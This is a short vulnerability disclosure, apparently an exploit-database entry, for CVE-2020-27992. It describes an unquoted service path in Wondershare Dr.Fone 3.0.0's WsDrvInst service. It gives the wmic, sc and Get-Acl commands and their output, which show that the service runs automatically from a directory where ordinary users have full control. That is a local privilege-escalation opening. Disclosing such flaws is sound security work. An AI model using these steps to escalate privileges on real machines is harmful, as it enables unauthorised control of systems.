Wondershare Dr.Fone 3.0.0 Unquoted Service Path Vulnerability

# Exploit Title: Wondershare Dr.Fone DriverInstall.exe - "WsDrvInst" Unquoted Service Path
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.wondershare.com
# Software Link: https://drfone.wondershare.com/
# Version: 3.0.0
# Tested on: Microsoft Windows 7sp2 x86/x64
# CVE : CVE-2020-27992


- C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Wondershare Driver Install Service  WsDrvInst  C:\Program Files (x86)\Wondershare\dr.fone\Library\DriverInstaller\DriverInstall.exe  Auto


- C:\>sc query WsDrvInst

NOME_SERVIZIO: WsDrvInst
        TIPO                   : 10  WIN32_OWN_PROCESS
        STATO                  : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        CODICE_USCITA_WIN32    : 0  (0x0)
        CODICE_USCITA_SERVIZIO : 0  (0x0)
        PUNTO_CONTROLLO          : 0x0
        INDICAZIONE_ATTESA     : 0x0



- Get-Acl -Path "C:\Program Files (x86)\Wondershare\dr.fone\Library\DriverInstaller"

    Directory: C:\Program Files (x86)\Wondershare\dr.fone\Library


Path                                    Owner                                   Access
----                                    -----                                   ------
DriverInstaller                         BUILTIN\Administrators                  BUILTIN\Users Allow  FullControl...